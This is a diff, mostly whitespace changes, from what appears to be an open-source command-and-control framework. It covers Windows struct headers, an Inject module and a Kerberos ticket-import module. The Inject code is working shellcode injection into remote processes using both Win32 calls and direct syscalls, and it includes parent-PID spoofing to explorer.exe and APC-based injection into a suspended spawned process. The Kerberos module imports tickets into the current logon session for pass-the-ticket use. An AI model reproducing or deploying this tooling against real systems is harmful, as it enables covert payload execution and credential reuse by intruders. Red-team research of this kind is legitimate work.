(NTDDI_VERSION >= NTDDI_LONGHORN) - PVOID SavedPriorityState; - ULONG_PTR SoftPatchPtr1; - ULONG_PTR ThreadPoolData; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR ThreadPoolData; #elif (NTDDI_VERSION >= NTDDI_WS03) - ULONG_PTR SparePointer1; - ULONG_PTR SoftPatchPtr1; - ULONG_PTR SoftPatchPtr2; + ULONG_PTR SparePointer1; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR SoftPatchPtr2; #else - Wx86ThreadState Wx86Thread; + Wx86ThreadState Wx86Thread; #endif - PVOID* TlsExpansionSlots; + PVOID* TlsExpansionSlots; #if defined(_WIN64) && !defined(EXPLICIT_32BIT) - PVOID DeallocationBStore; - PVOID BStoreLimit; + PVOID DeallocationBStore; + PVOID BStoreLimit; #endif - ULONG ImpersonationLocale; - ULONG IsImpersonating; - PVOID NlsCache; - PVOID pShimData; - ULONG HeapVirtualAffinity; - HANDLE CurrentTransactionHandle; - PTEB_ACTIVE_FRAME ActiveFrame; + ULONG ImpersonationLocale; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; #if (NTDDI_VERSION >= NTDDI_WS03) - PVOID FlsData; + PVOID FlsData; #endif #if (NTDDI_VERSION >= NTDDI_LONGHORN) - PVOID PreferredLangauges; - PVOID UserPrefLanguages; - PVOID MergedPrefLanguages; - ULONG MuiImpersonation; - union - { - struct - { - USHORT SpareCrossTebFlags : 16; - }; - USHORT CrossTebFlags; - }; - union - { - struct - { - USHORT DbgSafeThunkCall : 1; - USHORT DbgInDebugPrint : 1; - USHORT DbgHasFiberData : 1; - USHORT DbgSkipThreadAttach : 1; - USHORT DbgWerInShipAssertCode : 1; - USHORT DbgIssuedInitialBp : 1; - USHORT DbgClonedThread : 1; - USHORT SpareSameTebBits : 9; - }; - USHORT SameTebFlags; - }; - PVOID TxnScopeEntercallback; - PVOID TxnScopeExitCAllback; - PVOID TxnScopeContext; - ULONG LockCount; - ULONG ProcessRundown; - ULONG64 LastSwitchTime; - ULONG64 TotalSwitchOutTime; - LARGE_INTEGER WaitReasonBitMap; + PVOID PreferredLangauges; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + union + { + struct + { + USHORT SpareCrossTebFlags : 16; + }; + USHORT CrossTebFlags; + }; + union + { + struct + { + USHORT DbgSafeThunkCall : 1; + USHORT DbgInDebugPrint : 1; + USHORT DbgHasFiberData : 1; + USHORT DbgSkipThreadAttach : 1; + USHORT DbgWerInShipAssertCode : 1; + USHORT DbgIssuedInitialBp : 1; + USHORT DbgClonedThread : 1; + USHORT SpareSameTebBits : 9; + }; + USHORT SameTebFlags; + }; + PVOID TxnScopeEntercallback; + PVOID TxnScopeExitCAllback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG ProcessRundown; + ULONG64 LastSwitchTime; + ULONG64 TotalSwitchOutTime; + LARGE_INTEGER WaitReasonBitMap; #else - BOOLEAN SafeThunkCall; - BOOLEAN BooleanSpare[3]; + BOOLEAN SafeThunkCall; + BOOLEAN BooleanSpare[3]; #endif } TEB, * PTEB; typedef struct _LDR_DATA_TABLE_ENTRY { - LIST_ENTRY InLoadOrderLinks; - LIST_ENTRY InMemoryOrderLinks; - LIST_ENTRY InInitializationOrderLinks; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STRING FullDllName; - UNICODE_STRING BaseDllName; - ULONG Flags; - WORD LoadCount; - WORD TlsIndex; - union { - LIST_ENTRY HashLinks; - struct { - PVOID SectionPointer; - ULONG CheckSum; - }; - }; - union { - ULONG TimeDateStamp; - PVOID LoadedImports; - }; - PACTIVATION_CONTEXT EntryPointActivationContext; - PVOID PatchInformation; - LIST_ENTRY ForwarderLinks; - LIST_ENTRY ServiceTagLinks; - LIST_ENTRY StaticLinks; + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union { + LIST_ENTRY HashLinks; + struct { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PACTIVATION_CONTEXT EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; typedef struct _OBJECT_ATTRIBUTES { - ULONG Length; - PVOID RootDirectory; - PUNICODE_STRING ObjectName; - ULONG Attributes; - PVOID SecurityDescriptor; - PVOID SecurityQualityOfService; + ULONG Length; + PVOID RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _INITIAL_TEB { - PVOID StackBase; - PVOID StackLimit; - PVOID StackCommit; - PVOID StackCommitMax; - PVOID StackReserved; + PVOID StackBase; + PVOID StackLimit; + PVOID StackCommit; + PVOID StackCommitMax; + PVOID StackReserved; } INITIAL_TEB, * PINITIAL_TEB; \ No newline at end of file diff --git a/modules/Inject/Inject.cpp b/modules/Inject/Inject.cpp index 3d61951..1b204e0 100644 --- a/modules/Inject/Inject.cpp +++ b/modules/Inject/Inject.cpp @@ -35,13 +35,13 @@ __attribute__((visibility("default"))) Inject* InjectConstructor() Inject::Inject() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { - m_processToSpawn = "notepad.exe"; - m_useSyscall = false; + m_processToSpawn = "notepad.exe"; + m_useSyscall = false; } Inject::~Inject() @@ -50,166 +50,166 @@ Inject::~Inject() int Inject::initConfig(const nlohmann::json &config) { - for (auto& it : config.items()) - { - if(it.key()=="process") - m_processToSpawn = it.value(); - else if(it.key()=="syscall") - m_useSyscall = true; - } + for (auto& it : config.items()) + { + if(it.key()=="process") + m_processToSpawn = it.value(); + else if(it.key()=="syscall") + m_useSyscall = true; + } - return 0; + return 0; } std::string Inject::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "inject:\n"; - info += "Inject shellcode in the pid process. For linux must be root or at least have ptrace capability.\n"; - info += "No output is provided.\n"; - info += "Use -r to use a shellcode file.\n"; - info += "If -e or -d are given, use donut to create the shellcode.\n"; - info += "If pid is negative a new process is created for the injection.\n"; - info += "exemple:\n"; - info += "- inject -r ./calc.bin 2568\n"; - info += "- inject -e ./beacon.exe pid arg1 arg2\n"; - info += "- inject -d ./calc.dll pid method arg1 arg2\n"; + info += "inject:\n"; + info += "Inject shellcode in the pid process. For linux must be root or at least have ptrace capability.\n"; + info += "No output is provided.\n"; + info += "Use -r to use a shellcode file.\n"; + info += "If -e or -d are given, use donut to create the shellcode.\n"; + info += "If pid is negative a new process is created for the injection.\n"; + info += "exemple:\n"; + info += "- inject -r ./calc.bin 2568\n"; + info += "- inject -e ./beacon.exe pid arg1 arg2\n"; + info += "- inject -d ./calc.dll pid method arg1 arg2\n"; #endif - return info; + return info; } int Inject::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - if (splitedCmd.size() >= 4) - { - bool donut=false; - std::string inputFile=splitedCmd[2]; - std::string method; - std::string args; - int pid=-1; + if (splitedCmd.size() >= 4) + { + bool donut=false; + std::string inputFile=splitedCmd[2]; + std::string method; + std::string args; + int pid=-1; - try + try { pid = stoi(splitedCmd[3]); } catch (...) { std::string msg = "Pid must be an integer.\n"; - c2Message.set_returnvalue(msg); - return -1; + c2Message.set_returnvalue(msg); + return -1; } - if(splitedCmd[1]=="-e") - { - donut=true; - for (int idx = 4; idx < splitedCmd.size(); idx++) - { - if(!args.empty()) - args+=" "; - args+=splitedCmd[idx]; - } - } - else if(splitedCmd[1]=="-d") - { - donut=true; - if(splitedCmd.size() > 4) - method=splitedCmd[4]; - else - { - std::string msg = "Method is mandatory for DLL.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - for (int idx = 5; idx < splitedCmd.size(); idx++) - { - if(!args.empty()) - args+=" "; - args+=splitedCmd[idx]; - } - } - else if(splitedCmd[1]=="-r") - { - } - else - { - std::string msg = "One of the tags, -r, -e or -d must be provided.\n"; - c2Message.set_returnvalue(msg); - return -1; - } + if(splitedCmd[1]=="-e") + { + donut=true; + for (int idx = 4; idx < splitedCmd.size(); idx++) + { + if(!args.empty()) + args+=" "; + args+=splitedCmd[idx]; + } + } + else if(splitedCmd[1]=="-d") + { + donut=true; + if(splitedCmd.size() > 4) + method=splitedCmd[4]; + else + { + std::string msg = "Method is mandatory for DLL.\n"; + c2Message.set_returnvalue(msg); + return -1; + } + for (int idx = 5; idx < splitedCmd.size(); idx++) + { + if(!args.empty()) + args+=" "; + args+=splitedCmd[idx]; + } + } + else if(splitedCmd[1]=="-r") + { + } + else + { + std::string msg = "One of the tags, -r, -e or -d must be provided.\n"; + c2Message.set_returnvalue(msg); + return -1; + } - if(inputFile.empty()) - { - std::string msg = "A file name have to be provided.\n"; - c2Message.set_returnvalue(msg); - return -1; - } + if(inputFile.empty()) + { + std::string msg = "A file name have to be provided.\n"; + c2Message.set_returnvalue(msg); + return -1; + } - std::ifstream myfile; - myfile.open(inputFile); + std::ifstream myfile; + myfile.open(inputFile); - if(!myfile) - { - std::string newInputFile=m_toolsDirectoryPath; - newInputFile+=inputFile; - myfile.open(newInputFile, std::ios::binary); - inputFile=newInputFile; - } + if(!myfile) + { + std::string newInputFile=m_toolsDirectoryPath; + newInputFile+=inputFile; + myfile.open(newInputFile, std::ios::binary); + inputFile=newInputFile; + } - if(!myfile) - { - std::string newInputFile=m_windowsBeaconsDirectoryPath; - newInputFile+=inputFile; - myfile.open(newInputFile, std::ios::binary); - inputFile=newInputFile; - } + if(!myfile) + { + std::string newInputFile=m_windowsBeaconsDirectoryPath; + newInputFile+=inputFile; + myfile.open(newInputFile, std::ios::binary); + inputFile=newInputFile; + } - if(!myfile) - { - std::string msg = "Couldn't open file.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - myfile.close(); + if(!myfile) + { + std::string msg = "Couldn't open file.\n"; + c2Message.set_returnvalue(msg); + return -1; + } + myfile.close(); - std::string payload; - if(donut) - creatShellCodeDonut(inputFile, method, args, payload); - else - { - std::ifstream input(inputFile, std::ios::binary); - std::string payload_(std::istreambuf_iterator(input), {}); - payload=payload_; - } + std::string payload; + if(donut) + creatShellCodeDonut(inputFile, method, args, payload); + else + { + std::ifstream input(inputFile, std::ios::binary); + std::string payload_(std::istreambuf_iterator(input), {}); + payload=payload_; + } - if(payload.size()==0) - { - std::string msg = "Something went wrong. Payload empty.\n"; - c2Message.set_returnvalue(msg); - return -1; - } + if(payload.size()==0) + { + std::string msg = "Something went wrong. Payload empty.\n"; + c2Message.set_returnvalue(msg); + return -1; + } - std::string cmd; - for (int idx = 1; idx < splitedCmd.size(); idx++) - { - cmd+=splitedCmd[idx]; - cmd+=" "; - } + std::string cmd; + for (int idx = 1; idx < splitedCmd.size(); idx++) + { + cmd+=splitedCmd[idx]; + cmd+=" "; + } - c2Message.set_pid(pid); - c2Message.set_cmd(cmd); - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_inputfile(inputFile); - c2Message.set_data(payload.data(), payload.size()); - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + c2Message.set_pid(pid); + c2Message.set_cmd(cmd); + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_inputfile(inputFile); + c2Message.set_data(payload.data(), payload.size()); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } #endif - return 0; + return 0; } #ifdef _WIN32 @@ -217,76 +217,76 @@ int Inject::init(std::vector &splitedCmd, C2Message &c2Message) std::string static inline inject(int pid, const std::string& payload, bool useSyscall) { - std::string result; + std::string result; - HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid)); - if (processHandle) - { - if(useSyscall) - { - PVOID remoteBuffer; - SIZE_T sizeToAlloc = payload.size(); + HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid)); + if (processHandle) + { + if(useSyscall) + { + PVOID remoteBuffer; + SIZE_T sizeToAlloc = payload.size(); - remoteBuffer=NULL; - Sw3NtAllocateVirtualMemory_(processHandle, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + remoteBuffer=NULL; + Sw3NtAllocateVirtualMemory_(processHandle, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - SIZE_T NumberOfBytesWritten; - Sw3NtWriteVirtualMemory_(processHandle, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten); - - ULONG oldAccess; - Sw3NtProtectVirtualMemory_(processHandle, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess); + SIZE_T NumberOfBytesWritten; + Sw3NtWriteVirtualMemory_(processHandle, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten); + + ULONG oldAccess; + Sw3NtProtectVirtualMemory_(processHandle, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess); - HANDLE hThread; - Sw3NtCreateThreadEx_(&hThread, 0x1FFFFF, (POBJECT_ATTRIBUTES)NULL, processHandle, (void*) remoteBuffer, (PVOID)NULL, FALSE, 0, 0, 0, (PPS_ATTRIBUTE_LIST)NULL); + HANDLE hThread; + Sw3NtCreateThreadEx_(&hThread, 0x1FFFFF, (POBJECT_ATTRIBUTES)NULL, processHandle, (void*) remoteBuffer, (PVOID)NULL, FALSE, 0, 0, 0, (PPS_ATTRIBUTE_LIST)NULL); - Sw3NtClose_(hThread); - Sw3NtClose_(processHandle); - - result += "Process injected."; - } - else - { - PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); + Sw3NtClose_(hThread); + Sw3NtClose_(processHandle); + + result += "Process injected."; + } + else + { + PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); - WriteProcessMemory(processHandle, remoteBuffer, payload.data(), payload.size(), NULL); + WriteProcessMemory(processHandle, remoteBuffer, payload.data(), payload.size(), NULL); - DWORD oldprotect = 0; - VirtualProtectEx(processHandle, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); + DWORD oldprotect = 0; + VirtualProtectEx(processHandle, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); - HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); + HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); - CloseHandle(remoteThread); - CloseHandle(processHandle); - result += "Process injected."; + CloseHandle(remoteThread); + CloseHandle(processHandle); + result += "Process injected."; - } - } - else - result += "OpenProcess failed."; + } + } + else + result += "OpenProcess failed."; - return result; + return result; } // std::string static inline selfInject(const std::string& payload) // { -// std::string result; +// std::string result; // DWORD pid = GetCurrentProcessId(); // HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // -// if (processHandle) -// { -// PVOID remoteBuffer = VirtualAlloc(NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); -// WriteProcessMemory(processHandle, remoteBuffer, payload.data(), payload.size(), NULL); -// DWORD oldprotect = 0; -// VirtualProtect(remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); -// HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); -// CloseHandle(remoteThread); -// CloseHandle(processHandle); -// result += "Self injected."; -// } -// else -// result += "OpenProcess failed."; +// if (processHandle) +// { +// PVOID remoteBuffer = VirtualAlloc(NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); +// WriteProcessMemory(processHandle, remoteBuffer, payload.data(), payload.size(), NULL); +// DWORD oldprotect = 0; +// VirtualProtect(remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); +// HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); +// CloseHandle(remoteThread); +// CloseHandle(processHandle); +// result += "Self injected."; +// } +// else +// result += "OpenProcess failed."; // // return result; // } @@ -294,102 +294,102 @@ std::string static inline inject(int pid, const std::string& payload, bool useSy DWORD GetPidByName(const char * pName) { - PROCESSENTRY32 pEntry; - HANDLE snapshot; + PROCESSENTRY32 pEntry; + HANDLE snapshot; - pEntry.dwSize = sizeof(PROCESSENTRY32); - snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + pEntry.dwSize = sizeof(PROCESSENTRY32); + snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (Process32First(snapshot, &pEntry) == TRUE) - { - while (Process32Next(snapshot, &pEntry) == TRUE) - { - if (_stricmp(pEntry.szExeFile, pName) == 0) - { - return pEntry.th32ProcessID; - } - } - } - CloseHandle(snapshot); - return 0; + if (Process32First(snapshot, &pEntry) == TRUE) + { + while (Process32Next(snapshot, &pEntry) == TRUE) + { + if (_stricmp(pEntry.szExeFile, pName) == 0) + { + return pEntry.th32ProcessID; + } + } + } + CloseHandle(snapshot); + return 0; } // https://cocomelonc.github.io/tutorial/2021/11/20/malware-injection-4.html std::string static inline spawnInject(const std::string& payload, const std::string& processToSpawn, bool useSyscall) { - std::string result; + std::string result; - // Spoof parent ID to set explorer.exe - DWORD dwPid = GetPidByName("explorer.exe"); - if (dwPid == 0) - dwPid = GetCurrentProcessId(); + // Spoof parent ID to set explorer.exe + DWORD dwPid = GetPidByName("explorer.exe"); + if (dwPid == 0) + dwPid = GetCurrentProcessId(); - // create fresh attributelist - SIZE_T cbAttributeListSize = 0; - InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize); - PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize); - InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize); + // create fresh attributelist + SIZE_T cbAttributeListSize = 0; + InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize); + PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize); + InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize); - // copy and spoof parent process ID - HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); - UpdateProcThreadAttribute(pAttributeList, - 0, - PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, - &hParentProcess, - sizeof(HANDLE), - NULL, - NULL); + // copy and spoof parent process ID + HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); + UpdateProcThreadAttribute(pAttributeList, + 0, + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, + &hParentProcess, + sizeof(HANDLE), + NULL, + NULL); - PROCESS_INFORMATION piProcInfo; - STARTUPINFOEX startupInfoEx = { sizeof(startupInfoEx) }; - startupInfoEx.lpAttributeList = pAttributeList; + PROCESS_INFORMATION piProcInfo; + STARTUPINFOEX startupInfoEx = { sizeof(startupInfoEx) }; + startupInfoEx.lpAttributeList = pAttributeList; - if (CreateProcess(NULL, const_cast(processToSpawn.c_str()), NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT|CREATE_SUSPENDED, NULL, NULL, &startupInfoEx.StartupInfo, &piProcInfo)) - { - if(useSyscall) - { - PVOID remoteBuffer; - SIZE_T sizeToAlloc = payload.size(); + if (CreateProcess(NULL, const_cast(processToSpawn.c_str()), NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT|CREATE_SUSPENDED, NULL, NULL, &startupInfoEx.StartupInfo, &piProcInfo)) + { + if(useSyscall) + { + PVOID remoteBuffer; + SIZE_T sizeToAlloc = payload.size(); - remoteBuffer=NULL; - Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + remoteBuffer=NULL; + Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - SIZE_T NumberOfBytesWritten; - Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten); - - ULONG oldAccess; - Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess); + SIZE_T NumberOfBytesWritten; + Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten); + + ULONG oldAccess; + Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess); - Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL); - Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL); + Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL); + Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL); - result += "Process injected."; - } - else - { - PVOID remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); + result += "Process injected."; + } + else + { + PVOID remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); - WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL); + WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL); - DWORD oldprotect = 0; - VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); + DWORD oldprotect = 0; + VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); - PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer; - QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL); - ResumeThread(piProcInfo.hThread); - result += "Process injected."; - } - } - else - { - result += "CreateProcess failed."; - } + PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer; + QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL); + ResumeThread(piProcInfo.hThread); + result += "Process injected."; + } + } + else + { + result += "CreateProcess failed."; + } - DeleteProcThreadAttributeList(pAttributeList); - CloseHandle(hParentProcess); + DeleteProcThreadAttributeList(pAttributeList); + CloseHandle(hParentProcess); - return result; + return result; } @@ -398,33 +398,33 @@ std::string static inline spawnInject(const std::string& payload, const std::str int Inject::process(C2Message &c2Message, C2Message &c2RetMessage) { - const std::string shellcode = c2Message.data(); - int pid = c2Message.pid(); + const std::string shellcode = c2Message.data(); + int pid = c2Message.pid(); - std::string result; - if(pid>0) - { - result = inject(pid, shellcode, m_useSyscall); - } - else - { - std::string processToSpawn="notepad.exe"; - if(!m_processToSpawn.empty()) - processToSpawn=m_processToSpawn; - result = spawnInject(shellcode, processToSpawn, m_useSyscall); - } + std::string result; + if(pid>0) + { + result = inject(pid, shellcode, m_useSyscall); + } + else + { + std::string processToSpawn="notepad.exe"; + if(!m_processToSpawn.empty()) + processToSpawn=m_processToSpawn; + result = spawnInject(shellcode, processToSpawn, m_useSyscall); + } - // variantes - // nt api (ntdll) - // nt write virtual memory - // nt map view... - // nt creat thread ex - // bcp d autre + // variantes + // nt api (ntdll) + // nt write virtual memory + // nt map view... + // nt creat thread ex + // bcp d autre - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(c2Message.cmd()); - c2RetMessage.set_returnvalue(result); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(c2Message.cmd()); + c2RetMessage.set_returnvalue(result); - return 0; + return 0; } diff --git a/modules/Inject/Inject.hpp b/modules/Inject/Inject.hpp index 466eb6d..d7808df 100644 --- a/modules/Inject/Inject.hpp +++ b/modules/Inject/Inject.hpp @@ -3,29 +3,29 @@ #include "ModuleCmd.hpp" #ifdef _WIN32 - #include + #include #endif class Inject : public ModuleCmd { public: - Inject(); - ~Inject(); + Inject(); + ~Inject(); - std::string getInfo(); + std::string getInfo(); - int initConfig(const nlohmann::json &config); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int initConfig(const nlohmann::json &config); + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; } private: - std::string m_processToSpawn; - bool m_useSyscall; + std::string m_processToSpawn; + bool m_useSyscall; }; diff --git a/modules/Inject/tests/testsInject.cpp b/modules/Inject/tests/testsInject.cpp index 74f74af..4ea464d 100644 --- a/modules/Inject/tests/testsInject.cpp +++ b/modules/Inject/tests/testsInject.cpp @@ -50,11 +50,11 @@ bool testInject() output += "\n"; std::cout << output << std::endl; - HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pid); - if (hProc) { - TerminateProcess(hProc, 0); - CloseHandle(hProc); - } + HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pid); + if (hProc) { + TerminateProcess(hProc, 0); + CloseHandle(hProc); + } #endif } diff --git a/modules/KerberosUseTicket/KerberosUseTicket.cpp b/modules/KerberosUseTicket/KerberosUseTicket.cpp index 00e01f1..cd7b89d 100644 --- a/modules/KerberosUseTicket/KerberosUseTicket.cpp +++ b/modules/KerberosUseTicket/KerberosUseTicket.cpp @@ -55,9 +55,9 @@ __attribute__((visibility("default"))) KerberosUseTicket* KerberosUseTicketConst KerberosUseTicket::KerberosUseTicket() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -68,66 +68,66 @@ KerberosUseTicket::~KerberosUseTicket() std::string KerberosUseTicket::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "KerberosUseTicket:\n"; - info += "Import a kerberos ticket from a file to the curent LUID. \n"; - info += "exemple:\n"; - info += "- KerberosUseTicket /tmp/ticket.kirbi\n"; + info += "KerberosUseTicket:\n"; + info += "Import a kerberos ticket from a file to the curent LUID. \n"; + info += "exemple:\n"; + info += "- KerberosUseTicket /tmp/ticket.kirbi\n"; #endif - return info; + return info; } int KerberosUseTicket::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) if (splitedCmd.size() == 2) - { - string inputFile = splitedCmd[1]; + { + string inputFile = splitedCmd[1]; - std::ifstream input(inputFile, std::ios::binary); - if( input ) - { - std::string buffer(std::istreambuf_iterator(input), {}); + std::ifstream input(inputFile, std::ios::binary); + if( input ) + { + std::string buffer(std::istreambuf_iterator(input), {}); - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_inputfile(inputFile); - c2Message.set_data(buffer.data(), buffer.size()); + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_inputfile(inputFile); + c2Message.set_data(buffer.data(), buffer.size()); } - else - { - c2Message.set_returnvalue("Failed: Couldn't open file."); - return -1; - } - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + else + { + c2Message.set_returnvalue("Failed: Couldn't open file."); + return -1; + } + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } #endif - return 0; + return 0; } int KerberosUseTicket::process(C2Message &c2Message, C2Message &c2RetMessage) { const std::string cmd = c2Message.cmd(); - const std::string buffer = c2Message.data(); + const std::string buffer = c2Message.data(); std::string out = importTicket(buffer); - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(cmd); - c2RetMessage.set_returnvalue(out); - return 0; + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(out); + return 0; } std::string KerberosUseTicket::importTicket(const std::string& ticket) { - std::string result; + std::string result; #ifdef __linux__ @@ -165,7 +165,7 @@ std::string KerberosUseTicket::importTicket(const std::string& ticket) ULONG submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + ticket.size(); PKERB_SUBMIT_TKT_REQUEST pKerbSubmit; if(pKerbSubmit = 